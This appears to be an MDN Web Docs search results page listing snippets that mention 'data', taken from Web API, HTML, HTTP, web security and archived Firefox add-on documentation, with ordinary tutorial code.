...And 4 more matches
Using IIR filters - Web APIs
the play button html looks like this: <button class="button-play" role="switch" data-playing="false" aria-pressed="false">play</button> and the click event listener starts like so: playbutton.addeventlistener('click', function() { if (this.dataset.playing === 'false') { srcnode = playsourcenode(audioctx, sample); ...
...first, the html: <button class="button-filter" role="switch" data-filteron="false" aria-pressed="false" aria-describedby="label" disabled></button> the filter button's click handler then connects the iirfilter up to the graph, between the source and the detination: filterbutton.addeventlistener('click', function() { if (this.dataset.filteron === 'false') { srcnode.disconnect(audioctx.destination); srcnode.connect(iirfilter).connect(audioctx.destination); ...
... let's draw a frequency plot of the filter we've created with the data we get back from this method.
...And 4 more matches
Window.localStorage - Web APIs
the read-only localstorage property allows you to access a storage object for the document's origin; the stored data is saved across browser sessions.
... localstorage is similar to sessionstorage, except that while data stored in localstorage has no expiration time, data stored in sessionstorage gets cleared when the page session ends — that is, when the page is closed.
... (data in a localstorage object created in a "private browsing" or "incognito" session is cleared when the last "private" tab is closed.) data stored in either localstorage is specific to the protocol of the page.
...And 4 more matches
XMLHttpRequest.response - Web APIs
you may attempt to request the data be provided in a specific format by setting the value of responsetype after calling open() to initialize the request but before calling send() to send the request to the server.
... the value is null if the request is not yet complete or was unsuccessful, with the exception that when reading text data using a responsetype of "text" or the empty string (""), the response can contain the response so far while the request is still in the loading readystate (3).
... arraybuffer the response is a javascript arraybuffer containing binary data.
...And 4 more matches
XMLHttpRequest.responseType - Web APIs
the xmlhttprequest property responsetype is an enumerated string value specifying the type of data contained in the response.
... syntax var type = xmlhttprequest.responsetype; xmlhttprequest.responsetype = type; value a string taken from the xmlhttprequestresponsetype enum which specifies what type of data the response contains.
...if the server returns data that is not compatible with the responsetype that was set, the value of response will be null.
...And 4 more matches
XMLHttpRequest.sendAsBinary() - Web APIs
the obsolete xmlhttprequest method sendasbinary() is a variant of the send() method that sends binary data.
... the send() method now supports binary data and should now be used instead.
... this method makes it possible to read and upload any type of file and to stringify the raw data.
...And 4 more matches
XMLHttpRequestResponseType - Web APIs
the xmlhttprequestresponsetype type is an enumerated set of strings which are used to specify the type of data contained in the response of an xmlhttprequest.
... arraybuffer the response is a javascript arraybuffer containing binary data.
... blob the response is a blob object containing the binary data.
...And 4 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
msaa provides information in several different ways: a com interface (iaccessible) that allows applications to expose the tree of data nodes that make up each window in the user interface currently being interacted with and custom interface extensions via interfaces via queryinterface and queryservice.
...the accessible explorer and inspect object tools show the tree of data nodes the accessible object is exposing through com, and what the screen boundaries of each object are.
... don't use msaa for exposing documents or other specialized data, if it's important that the user get access to formatting information.
...And 4 more matches
Adding captions and subtitles to HTML5 video - Developer guides
webvtt the files that contain the actual subtitle data are simple text files that follow a specified format, in this case the web video text tracks (webvtt) format.
...we actually have our subtitles in three different languages — english, german, and spanish — so we will reference all three of the relevant vtt files by adding <track> elements inside our html5 <video> element: <video id="video" controls preload="metadata"> <source src="video/sintel-short.mp4" type="video/mp4"> <source src="video/sintel-short.webm" type="video/webm"> <track label="english" kind="subtitles" srclang="en" src="captions/vtt/sintel-en.vtt" default> <track label="deutsch" kind="subtitles" srclang="de" src="captions/vtt/sintel-de.vtt"> <track label="español" kind="subtitles" srclang="es" src="captions/vtt/sintel-es.vtt"> ...
...as a consequence, the video controls now look as follows: <div id="video-controls" class="controls" data-state="hidden"> <button id="playpause" type="button" data-state="play">play/pause</button> <button id="stop" type="button" data-state="stop">stop</button> <div class="progress"> <progress id="progress" value="0" min="0"> <span id="progress-bar"></span> </progress> </div> <button id="mute" type="button" data-state="mute">mute/unmute</button> <button id="volin...
...And 4 more matches
HTML attribute: multiple - HTML: Hypertext Markup Language
examples email input <label for="emails">who do you want to email?</label> <input type="email" multiple name="emails" id="emails" list="drawfemails" required size="64"> <datalist id="drawfemails"> <option value="grumpy@woodworkers.com">grumpy</option> <option value="happy@woodworkers.com">happy</option> <option value="sleepy@woodworkers.com">sleepy</option> <option value="bashful@woodworkers.com">bashful</option> <option value="sneezy@woodworkers.com">sneezy</option> <option value="dopey@woodworkers.com">dopey</option> <option value="doc@woodworkers.com"...
...>doc</option> </datalist> input:invalid {border: red solid 3px;} if and only if the multiple attribute is specified, the value can be a list of properly-formed comma-separated e-mail addresses.
... some browsers support the appearance of the list of options from the associated <datalist> for subsequent email addresses when multiple is present.
...And 4 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
WebHTMLElementtr
the row's cells can then be established using a mix of <td> (data cell) and <th> (header cell) elements.
...we have some examples below, but for more examples and an in-depth tutorial, see the html tables series in our learn web development area, where you'll learn how to use the table elements and their attributes to get just the right layout and formatting for your tabular data.
...this uses the char and charoff to establish the alignment character (typically "." or "," when aligning numerical data) and the number of characters that should follow the alignment character.
...And 4 more matches
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
WebHTMLElementtrack
it lets you specify timed text tracks (or time-based data), for example to automatically handle subtitles.
...if the attribute contains an invalid value, it will use metadata (versions of chrome earlier than 52 treated an invalid value as subtitles).
... metadata tracks used by scripts.
...And 4 more matches
itemtype - HTML: Hypertext Markup Language
the global attribute itemtype specifies the url of the vocabulary that will be used to define itemprop's (item properties) in the data structure.
... itemscope is used to set the scope of where in the data structure the vocabulary set by itemtype will be active.
... google and other major search engines support the schema.org vocabulary for structured data.
...And 4 more matches
Using HTTP cookies - HTTP
WebHTTPCookies
an http cookie (web cookie, browser cookie) is a small piece of data that a server sends to the user's web browser.
...while this was legitimate when they were the only way to store data on the client, it is now recommended to use modern storage apis.
... cookies are sent with every request, so they can worsen performance (especially for mobile data connections).
...And 4 more matches
Performance fundamentals - Web Performance
users prefer, say, a responsive, smooth app that only processes 1,000 database transactions per second, over a choppy, unresponsive app that processes 100,000,000 per second.
... another problem that can delay startup is idle time, caused by waiting for responses to requests (like database loads).
...then when the data is needed later, hopefully it's already available and the application doesn't have to wait.
...And 4 more matches
Mixed content - Web security
in the case of active content, the threat can lead to phishing, sensitive data disclosure, redirection to malicious sites, etc.
...this type of mixed content can alter the behavior of the https page and potentially steal sensitive data from the user.
...malicious active content can steal the user's credentials, acquire sensitive data about the user, or attempt to install malware on the user's system (by leveraging vulnerabilities in the browser or its plugins, for example).
...And 4 more matches
base64 - Archive of obsolete content
data encoding and decoding using base64 algorithms.
... var base64 = require("sdk/base64"); var encodeddata = base64.encode("hello, world"); var decodeddata = base64.decode(encodeddata); globals functions encode(data, charset) creates a base-64 encoded ascii string from a string of binary data.
... parameters data : string the data to encode charset : string the charset of the string to encode (optional).
...And 3 more matches
notifications - Archive of obsolete content
var notifications = require("sdk/notifications"); notifications.notify({ title: "jabberwocky", text: "'twas brillig, and the slithy toves", data: "did gyre and gimble in the wabe", onclick: function (data) { console.log(data); // console.log(this.data) would produce the same result.
... } }); this one displays an icon that's stored in the add-on's data directory.
... var notifications = require("sdk/notifications"); var self = require("sdk/self"); var myiconurl = self.data.url("myicon.png"); notifications.notify({ text: "i have an icon!", iconurl: myiconurl }); from firefox 34, you can use "./myicon.png" as an alias for self.data.url("myicon.png").
...And 3 more matches
page-worker - Archive of obsolete content
to do this, save the file in your add-on's data directory and create the url using the data.url() method of the self module: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: require("sdk/self").data.url("myfile.html") }); from firefox 34, you can use "./myfile.html" as an alias for self.data.url("myfile.html").
...with contentscriptfile you pass a url which points to a script saved under your add-on's data directory.
... you construct the url using the data.url() method of the self module.
...And 3 more matches
Displaying annotations - Archive of obsolete content
self.port.emit('hide'); }); }); function createanchor(annotation) { annotationanchorancestor = $('#' + annotation.ancestorid); annotationanchor = $(annotationanchorancestor).parent().find( ':contains(' + annotation.anchortext + ')').last(); $(annotationanchor).addclass('annotated'); $(annotationanchor).attr('annotation', annotation.annotationtext); } save this in data as matcher.js.
... updating main.js first, initialize an array to hold workers associated with the matcher's content scripts: var matchers = []; in the main function, add the code to create the matcher: var matcher = pagemod.pagemod({ include: ['*'], contentscriptwhen: 'ready', contentscriptfile: [data.url('jquery-1.4.2.min.js'), data.url('matcher.js')], onattach: function(worker) { if(simplestorage.storage.annotations) { worker.postmessage(simplestorage.storage.annotations); } worker.port.on('show', function(data) { annotation.content = data; annotation.show(); }); worker.port.on('hide', function() { annotation.content = null; annotation.hide(); }); worker.on('detach', function () { detachworker(this, matchers); ...
... there are two files associated with the annotation panel: a simple html file to use as a template a simple content script to build the panel's content these files will live in a new subdirectory of data which we'll call annotation.
...And 3 more matches
Implementing the widget - Archive of obsolete content
inside the data subdirectory create another subdirectory widget.
...this hierarchy isn't mandatory; you could just keep them all under data.
... listens for left- and right- mouse clicks and posts the corresponding message to the add-on code: this.addeventlistener('click', function(event) { if(event.button == 0 && event.shiftkey == false) self.port.emit('left-click'); if(event.button == 2 || (event.button == 0 && event.shiftkey == true)) self.port.emit('right-click'); event.preventdefault(); }, true); save this in your data/widget directory as widget.js.
...And 3 more matches
Modifying the Page Hosted by a Tab - Archive of obsolete content
here's a simple example: var button = require("sdk/ui/button/action").actionbutton({ id: "style-tab", label: "style tab", icon: "./icon-16.png", onclick: function() { require("sdk/tabs").activetab.attach({ contentscript: 'document.body.style.border = "5px solid red";' }); } }); to run this example, save an icon file named "icon-16.png" in add-on's "data" directory.
... unless script is extremely simple, maintain the script as a separate file in add-on's data directory.
... for example, if we save the script above under the add-on's data directory in a file called my-script.js: var self = require("sdk/self"); var button = require("sdk/ui/button/action").actionbutton({ id: "style-tab", label: "style tab", icon: "./icon-16.png", onclick: function() { require("sdk/tabs").activetab.attach({ contentscriptfile: self.data.url("my-script.js") }); } }); you can load more than one script, and the scripts can interact directly with each other.
...And 3 more matches
Bootstrapped extensions - Archive of obsolete content
void startup( data, reason ); parameters data a bootstrap data structure.
... void shutdown( data, reason ); parameters data a bootstrap data structure.
... void install( data, reason ); parameters data a bootstrap data structure.
...And 3 more matches
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
:mozilla:install-manifest"> <em:id>myextension@mycompany.com</em:id> <em:version>0.1</em:version> <em:targetapplication> <!-- firefox --> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>1.0+</em:minversion> <em:maxversion>1.0+</em:maxversion> </description> </em:targetapplication> <!-- front-end metadata --> <em:name>my first extension</em:name> <em:description>just an example.</em:description> <em:creator>allpeers.com</em:creator> <em:homepageurl>http://www.allpeers.com/blog/</em:homepageurl> </description> </rdf> there's a detailed description of the format of the install.rdf file.
... other topics adding data files to your extensions in some cases, you may wish to include additional files in your extension that don't belong in the chrome/ subdirectory.
... examples might be database files or xml schemas.
...And 3 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
listing 1: calling xpcom functions using xpconnect <?xml version="1.0" encoding="utf-8"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript"><![cdata[ var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); alert(ioservice); ]]></script> </page> calling xpconnect using local files try saving the contents of listing 1 as the file test.xul, somewhere on your desktop, and drag and drop it into firefox to open it.
...on windows vista, it will be located at c:\users\username\appdata\roaming\mozilla\firefox\profiles\random number.default\ ; on windows xp or 2000, it will be c:\documents and settings\username\application data\mozilla\firefox\profiles\random number.default\ ; on linux, it will be ~/.mozilla/firefox/random number.default/ ; on mac os x, it will be ~/library/application support/firefox/profiles/random number.default/ in the interests of security, delete these li...
... listing 20: writing a text-string setting var string = 'this is test.'; pref.setcharpref('extensions.myextension.testpref', unescape(encodeuricomponent(string))); data type get set boolean getboolpref(prefname) setboolpref(prefname) integer getintpref(prefname) setintpref(prefname) text string getcharpref(prefname) setcharpref(prefname) using methods from xul elements xpcom gives you access to sophisticated functions in xul elements.
...And 3 more matches
JavaScript Object Management - Archive of obsolete content
« previousnext » chrome javascript in this section we'll look into how to handle javascript data effectively, beginning with chrome code, in ways which will prevent pollution of shared namespaces and conflicts with other add-ons resulting from such global namespace pollution.
... the first step to good javascript object management is having a namespace, or a javascript object that contains our code and data, that you know will not conflict with firefox code or other extensions.
... now, in most cases you'll need to coordinate data in a way that it is consistent for all open firefox windows.
...And 3 more matches
Security best practices in extensions - Archive of obsolete content
for example, if you are loading pictures or other data from a photo sharing site, you can sandbox your connections to that site so that the normal browsing of that site by the user in the main firefox browser is not affected.
... handling of logins and passwords there are various ways of storing data in firefox, but for user logins and passwords, you should use the login manager.
...when users clear logins using the "clear recent history" option, it will include your extension's data.
...And 3 more matches
Tabbed browser - Archive of obsolete content
openuilinkin( url, where, allowthirdpartyfixup, postdata, referrerurl ) where: "current" current tab (if there aren't any browser windows, then in a new window instead) "tab" new tab (if there aren't any browser windows, then in a new window instead) "tabshifted" same as "tab" but in background if default is to select new tabs, and vice versa "window" new window "save" save to disk (with no filename hint!) openuilink( url, e, ignoreb...
...utton, ignorealt, allowkeywordfixup, postdata, referrerurl ) the following code will open a url in a new tab, an existing tab, or an existing window based on which mouse button was pressed and which hotkeys (ex: ctrl) are being held.
...updated example is in section below this observe: function (subject, topic, data) { if (topic == "http-on-modify-request") { subject.queryinterface(components.interfaces.nsihttpchannel); var url = subject.uri.spec; /* url being requested.
...And 3 more matches
Twitter - Archive of obsolete content
the library simply passes them to jquery.ajax(), and so they are called like so: success(data, textstatus) data is twitter's decoded json response.
...in other words, define a data property that is itself an object whose properties correspond to the parameters of the twitter method.
... with this style you can use any of the various jquery.ajax() options in your request: data, success, complete, etc.
...And 3 more matches
Simple Storage - Archive of obsolete content
the jetpack.storage.simple namespace provides an easy way to persist data across browser restarts.
... it's a simple key-based persistent object data store.
...to manipulate its persistent data, a jetpack therefore need only use the various standard javascript functions and operators.
...And 3 more matches
Simple Storage - Archive of obsolete content
the jetpack.storage.simple namespace provides an easy way to persist data across browser restarts.
... it's a simple key-based persistent object data store.
...to manipulate its persistent data, a jetpack therefore need only use the various standard javascript functions and operators.
...And 3 more matches
jspage - Archive of obsolete content
ght:m.height,width:m.width},m.properties);var k=this;for(var d in f){swiff.callbacks[this.instance][d]=(function(n){return function(){return n.apply(k.object,arguments); };})(f[d]);g[d]="swiff.callbacks."+this.instance+"."+d;}e.flashvars=hash.toquerystring(g);if(browser.engine.trident){h.classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"; e.movie=l;}else{h.type="application/x-shockwave-flash";h.data=l;}var j='<object id="'+b+'"';for(var i in h){j+=" "+i+'="'+h[i]+'"';}j+=">";for(var c in e){if(e[c]){j+='<param name="'+c+'" value="'+e[c]+'" />'; }}j+="</object>";this.object=((a)?a.empty():new element("div")).set("html",j).firstchild;},replaces:function(a){a=document.id(a,true);a.parentnode.replacechild(this.toelement(),a); return this;},inject:function(a){document.id(a,true).appendchild(this.
...{var e;for(var d=0,c=1;1;d+=c,c/=2){if(f>=(7-4*d)/11){e=c*c-math.pow((11-6*d-11*f)/4,2); break;}}return e;},elastic:function(b,a){return math.pow(2,10*--b)*math.cos(20*b*math.pi*(a[0]||1)/3);}});["quad","cubic","quart","quint"].each(function(b,a){fx.transitions[b]=new fx.transition(function(c){return math.pow(c,[a+2]); });});var request=new class({implements:[chain,events,options],options:{url:"",data:"",headers:{"x-requested-with":"xmlhttprequest",accept:"text/javascript, text/html, application/xml, text/xml, */*"},async:true,format:false,method:"post",link:"ignore",issuccess:null,emulation:true,urlencoded:true,encoding:"utf-8",evalscripts:false,evalresponse:false,nocache:false},initialize:function(a){this.xhr=new browser.request(); this.setoptions(a);this.options.issuccess=this.options.issuc...
...tion(a){return $try(function(){return this.xhr.getresponseheader(a);}.bind(this));},check:function(){if(!this.running){return true; }switch(this.options.link){case"cancel":this.cancel();return true;case"chain":this.chain(this.caller.bind(this,arguments));return false;}return false;},send:function(k){if(!this.check(k)){return this; }this.running=true;var i=$type(k);if(i=="string"||i=="element"){k={data:k};}var d=this.options;k=$extend({data:d.data,url:d.url,method:d.method},k);var g=k.data,b=string(k.url),a=k.method.tolowercase(); switch($type(g)){case"element":g=document.id(g).toquerystring();break;case"object":case"hash":g=hash.toquerystring(g);}if(this.options.format){var j="format="+this.options.format; g=(g)?j+"&"+g:j;}if(this.options.emulation&&!["get","post"].contains(a)){var h="_method=...
...And 3 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
supported standards and features include data transport protocols, multilingual character data, image data, java and plugins.
...necko also provides an abstract "file descriptor" interface for low-level data access.
...mozilla's xml-rpc support includes synchronous and asynchronous requesting and downloading of data from a server.
...And 3 more matches
The life of an HTML HTTP request - Archive of obsolete content
the channel represents the connection to the server, and is the source of the html data stream.
... (3) when data is starting to come from the webserver the nsichannel calls the onstartrequest in the documenloader.
... now the channel knows the content type of the incoming data, so the documentloader can find an nsidocumentloaderfactory for the "text/html" content type (in this case an nslayoutdlf).
...And 3 more matches
Tuning Pageload - Archive of obsolete content
the data flows in gecko as follows: network -> necko -> parser -> content sink -> content model -> rendering model -> layout -> painting.
... nglayout.initialpaint.delay this is a preference that specifies a delay, in milliseconds, after the data from the server has started coming in.
...the idea here is twofold.this reduces ugly visual jitter as the new page comes in by not starting painting till after we have a bunch of the data.this makes overall page load time shorter by not doing extra repaints very early on.
...And 3 more matches
Uploading and Downloading Files - Archive of obsolete content
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
...this is a common technique for uploading files as it is compatible with existing servers and formdata interface makes that task fairly simple.
... a formdata object will automatically generate request data with mime type multipart/form-data that existing servers can process.
...And 3 more matches
Sorting and filtering a custom tree view - Archive of obsolete content
for the sake of simplicity, strings are not localized and the data loaded is hard coded.
..."description" label="description" flex="1" persist="width ordinal hidden" onclick="sort(this)" class="sortdirectionindicator"/> <splitter class="tree-splitter"/> <treecol id="weapon" label="weapon" flex="1" persist="width ordinal hidden" onclick="sort(this)" class="sortdirectionindicator"/> </treecols> <treechildren id="tree-children"/> </tree> </window> sort.js var table = null; var data = null; var tree; var filtertext = ""; function init() { tree = document.getelementbyid("tree"); loadtable(); } //this function is called every time the tree is sorted, filtered, or reloaded function loadtable() { //remember scroll position.
... this is useful if this is an editable table //to prevent the user from losing the row they edited var topvisiblerow = null; if (table) { topvisiblerow = gettopvisiblerow(); } if (data == null) { //put object loading code here.
...And 3 more matches
Multiple Rule Example - Archive of obsolete content
<vbox id="photoslist" align="start" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <rule> <conditions> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" pre...
...in the example data, only the first photo has been given all the properties to match the first rule.
...the resulting data will be: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?title = palace from above ?description = view from the top of the tower looking east of the doges palace, ?date = 2005-04-30t14:55:00+01.00) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?phototitle = palace from above) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg, ?phototitle = canal) (?start = http://www.xulplanet.com/rd...
...And 3 more matches
treecol - Archive of obsolete content
sort type: uri or xml attribute set this to a rdf property or xml attribute to have the data in the column sorted based on that property.
... ascending the data is sorted in ascending order.
... descending the data is sorted in descending order.
...And 3 more matches
Archived Mozilla and build documentation - Archive of obsolete content
download manager improvements in firefox 3 firefox 3 offers improvements to the download manager that allow multiple progress listeners, use of the storage api for data management, download resuming, and more.
...probe data can be collected with scripts written in d (no, not that one).
... firefox sync sync refers to a family of related components and services which provide synchronization of data between mozilla application instances.
...And 3 more matches
Monitoring plugins - Archive of obsolete content
runtime data the runtime information reported is always in fractions of a second.
... below are a number of javascript snippets that would be useful to developers trying to use this feature: registration to register for runtime notifications with the observer service you must create a class with an observe method which receives 3 parameters (subject, topic and data) as well as a register method that contains the following code: var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice (components.interfaces.nsiobserverservice); observerservice.addobserver(this, "experimental-notify-plugin-call", false); observing as discussed above, to specify what you want done when a notification arrives your...
... class must have an observe method, receiving 3 parameters (subject, topic and data).
...And 3 more matches
NPN_GetURL - Archive of obsolete content
if the target is null, the browser creates a new stream and delivers the data to the current instance regardless of the mime type of the url.
...plug-ins can use this capability to provide hyperlinks to other documents or to retrieve data from anywhere on the network.
...if target is null, the application creates a new stream and delivers the data to the plug-in instance, through calls to npp_newstream(), npp_writeready() and npp_write(), and npp_destroystream().
...And 3 more matches
Threats - Archive of obsolete content
a threat is any circumstance or event with the potential to adversely impact data or systems via unauthorized access, destruction, disclosure, or modification of information, and/or denial of service.
... many threats against data and resources are possible because of mistakes—either bugs in operating system and applications that create exploitable vulnerabilities, or errors made by end users and administrators.
...business needs have changed the way websites store sensistive data, with more usage of cloud services.
...And 3 more matches
Using workers in extensions - Archive of obsolete content
this demonstrates not only how to use workers in an extension, but also how to perform xmlhttprequest in a worker, and how workers and main thread code can pass data back and forth.
...every 10 minutes, it calls xmlhttprequest, and, when the results are received, sends an event back to the main thread with the received data.
...eived() { var output = httprequest.responsetext; if (output) { postmessage(output.trim()); } httprequest = null; } var httprequest = new xmlhttprequest(); httprequest.open("get", fullurl, true); httprequest.onload = inforeceived; httprequest.send(null); } setinterval(function() { refreshinformation(); }, 10*60*1000); onmessage = function(event) { if (event.data) { symbol = event.data.touppercase(); } refreshinformation(); } when the worker thread is started, the main body of this code (in lines 26-35) is executed.
...And 3 more matches
XForms Input Element - Archive of obsolete content
introduction this element is an important and oft-used xforms element to show and change the instance data to which this xforms control is bound (see the spec).
... mozilla extensions labelposition - only for boolean types: show the label before or after the checkbox (see below) type restrictions the input element can be bound to a node containing simple content of any data type except xsd:base64binary, xsd:hexbinray or any data type derived from these.
... representations the xforms input element can be represented by the following widgets for the spcified data types (or types derived from these data types): text field - the default widget when no type is specified or the data is of type xsd:string (xhtml/xul) checkbox - used for xsd:boolean instance data.
...And 3 more matches
XForms Output Element - Archive of obsolete content
introduction serves to show the instance data that the element is bound to in a read-only manner (see the spec).
... type restrictions the output element can be bound to a node containing simple content of any data type.
... representations the xforms output element can be represented by the following widgets for the specified data types (or types derived from these data types): text - default representation for instance data of most types, especially static text (xhtml/xul).
...And 3 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
here is an example of this usage, once again for the macromedia flash plugin: <object type="application/x-shockwave-flash" data="javascript-to-flash.swf" width="366" height="142" id="myflash"> <param name="movie" value="javascript-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> <p>you need flash -- get the latest version from <a href= "http://www.macromedia.com/downloads/">here.</a></p> </object> in the above example, application/x-shockwave-flash is...
...the data attribute points to the swf file to play, and the configuration parameters (the param elements) are used in a consistent manner both for ie and for mozilla-based browsers such as netscape 7.
...furthermore, ie's use of the codebase attribute as an obtainment mechanism itself is not strictly correct according to the html 4.01 specification, which says that the codebase attribute should be used to qualify urns referenced by the data, archive, and classid attributes.
...And 3 more matches
2D maze game with device orientation - Game development
showlevel: function(level) {}, updatecounter: function() {}, managepause: function() {}, manageaudio: function() {}, update: function() {}, wallcollision: function() {}, handleorientation: function(e) {}, finishlevel: function() {} }; the create and update functions are framework-specific, while others will be our own creations: initlevels initializes the level data.
... showlevel prints the level data on the screen.
... to hold the block information we'll use a level data array: for each block we'll store the top and left absolute positions in pixels (x and y) and the type of the block — horizontal or vertical (t with the 'w' value meaning width and 'h' meaning height).
...And 3 more matches
Packet - MDN Web Docs Glossary: Definitions of Web-related terms
a packet, or network packet, is a formatted chunk of data sent over a network.
... the maincomponents of a network packet are the user data and control information.
... the user data is known as the payload.
...And 3 more matches
Advanced form styling - Learn web development
these include: elements involved in creating dropdown widgets, including <select>, <option>, <optgroup> and <datalist>.
... selects and datalists in modern browsers, selects and datalists are generally not too bad to style provided you don't want to vary the look and feel too much from the defaults.
...the datalist control is <input type="text"> anyway, so we knew this wouldn't be a problem.
...And 3 more matches
How the Web works - Learn web development
in addition to the client and the server, we also need to say hello to: your internet connection: allows you to send and receive data on the web.
... tcp/ip: transmission control protocol and internet protocol are communication protocols that define how data should travel across the internet.
...this message, and all other data sent between the client and the server, is sent across your internet connection using tcp/ip.
...And 3 more matches
From object to iframe — other embedding technologies - Learn web development
this is a common way to mislead users or steal sensitive data.
... the developers that built mdn have included a setting on the server that serves the website pages to disallow them from being embedded inside <iframe>s (see configure csp directives, below.) this makes sense — an entire mdn page doesn't really make sense to be embedded in other pages unless you want to do something like embed them on your site and claim them as your own — or attempt to steal data via clickjacking, which are both really bad things to do.
... configure csp directives csp stands for content security policy and provides a set of http headers (metadata sent along with your web pages when they are served from a web server) designed to improve the security of your html document.
...And 3 more matches
Video and audio content - Learn web development
they define a structure in which the audio and/or video tracks that make up the media are stored, along with metadata describing the media, what codecs are used to encode its channels, and so forth.
... the audio and video tracks within the container hold data in the appropriate format for the codec used to encode that media.
...for example, for some types of audio, a codec's data is often stored without a container, or with a simplified container.
...And 3 more matches
Storing the information you need — Variables - Learn web development
variables can also contain complex data and even entire functions to do amazing things.
... make variable names intuitive, so they describe the data they contain.
... variable types there are a few different types of data we can store in variables.
...And 3 more matches
What is JavaScript? - Learn web development
html is the markup language that we use to structure and give meaning to our web content, for example defining paragraphs, headings, and data tables, or embedding images and videos in the page.
... browser apis are built into your web browser, and are able to expose data from the surrounding computer environment, or do useful complex things.
... note: there are ways to send code and data between different websites/tabs in a safe manner, but these are advanced techniques that we won't cover in this course.
...And 3 more matches
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
enter the following terminal command to do so: ember generate component-class footer next, go and find the newly-created todomvc/app/components/footer.js file and update it to the following: import component from '@glimmer/component'; import { inject as service } from '@ember/service'; export default class footercomponent extends component { @service('todo-data') todos; } now we need to go back to our todo-data.js file and add some functionality that will allow us to return the number of incomplete todos (useful for showing how many are left), and clear the completed todos out of the list (which is what the “clear completed” functionality needs).
... in todo-data.js, add the following getter underneath the existing all() getter to define what the incomplete todos actually are: get incomplete() { return this.todos.filter(todo => { return todo.iscompleted === false; }); } using array.filter(), we declare that "incomplete" todos are ones that have iscompleted equal to false.
...to fix this, we'll have to add a getter to todo-data.js to return the result of this.incomplete.length === 1, and then call that in our template.
...And 3 more matches
Introduction to client-side frameworks - Learn web development
this application should allow users to do things like render a list of tasks, add a new task, and delete a task; and it must do this while reliably tracking and updating the data underlying the application.
... in software development, this underlying data is known as state.
...we can iterate over the data to render it; we can add to an object to make a new task; we can use an identifier to find, edit, or delete a task.
...And 3 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
objective: learn and put into practice some basic svelte concepts, like creating components, passing data using props, render javascript expressions into our markup, modify the components state and iterating over lists.
... dynamically generating the todos from the data at the moment, our displayed todo items are all static.
...svelte will use it to diff the list when data changes, rather than adding or removing items at the end, and it's a good practice to always specify one.
...And 3 more matches
Understanding client-side JavaScript frameworks - Learn web development
along the way, we'll look at using events in ember, creating component classes to contain javascript code to control interactive features, and setting up a service to keep track of the data state of our app.
...along the way, we'll learn about a few important concepts such as calling components inside other components, passing data to them via props and saving data state.
...in this article we'll look at adding a set of todo item data to our app.vue component, which we'll then loop through and display inside todoitem components using the v-for directive.
...And 3 more matches
Setting up your own test automation environment - Learn web development
now if you go to your lambdatest automation dashboard, you'll see your test listed; from here you'll be able to see videos, screenshots, and other such data.
...include the following lines just below the block that creates the driver object (let driver ...) : let sessionid; driver.session_.then(function(sessiondata) { sessionid = sessiondata.id_; }); finally, update the driver.sleep(2000) ...
... if you now go back to your browserstack automation dashboard page, you should see your test session available, as before, but with the updated data attached to it: sauce labs getting selenium tests to run remotely on sauce labs is also very simple, and very similar to browserstack albeit with a few syntactic differences.
...And 3 more matches
A bird's-eye view of the Mozilla framework
user interface (ui) widgets and services the x window system toolkit defines the termwidget as a pre-defined object that encapsulates both the command actions and data associated with a graphical user interface (gui) control.
... let’s consider a resource description framework (rdf) example, where rdf is a framework for describing and interchangingmetadata, that is, information about information.
...suppose the client already has an nsirdfdatasource object representing a sub-graph of an rdf graph and calls nsirdfdatasource.gettarget(resource, nc_link, true) to obtain an nsirdfnode representing a specific node in the graph, in this case a link to ahelp viewer document page.
...And 3 more matches
Introduction to Layout in Mozilla
overview basic data flow key data structures detailed walk-through incrementalism future tech-talks wrap-up, q&a basic data flow source document arrives via network apis incrementally “pumped” through the single-threaded layout engine parse, compute style, render; repeat css used for rendering all content content theoretically separate from “presentation” key data structures content node elements, attributes, leaves dom frame rectangular formatting primitive geometric information [0..n] per content node 2nd thru nth are “continuations” style context non-geometric information may be shared by adjacent frames reference counted, owned by frame ...
... view clipping, z-order, transparency [0..1] per frame, owned by frame widget native window [0..1] per view, owned by view key data structures the document owns the content model, and one or more presentations exposed programmatically via dom apis the presentation owns the frame hierarchy frames own the style contexts, views, widgets presentation has media type, dimensions, etc.
... parser, returned as nsistreamlistener back to the docshell creates a content sink, which is linked to the parser and the document creates a documentviewerimpl object, which is returned as nsicontentviewer back to the docshell documentviewerimpl creates pres context and pres shell content model construction content arrives from network via nsistreamlistener::ondataavailable parser tokenizes & processes content; invokes methods on nsicontentsink with parser node objects some buffering and fixup occurs here opencontainer, closecontainer, addleaf content sink creates and attaches content nodes using nsicontent interface content sink maintains stack of “live” elements more buffering and fixup occurs here inse...
...And 3 more matches
Webapps.jsm
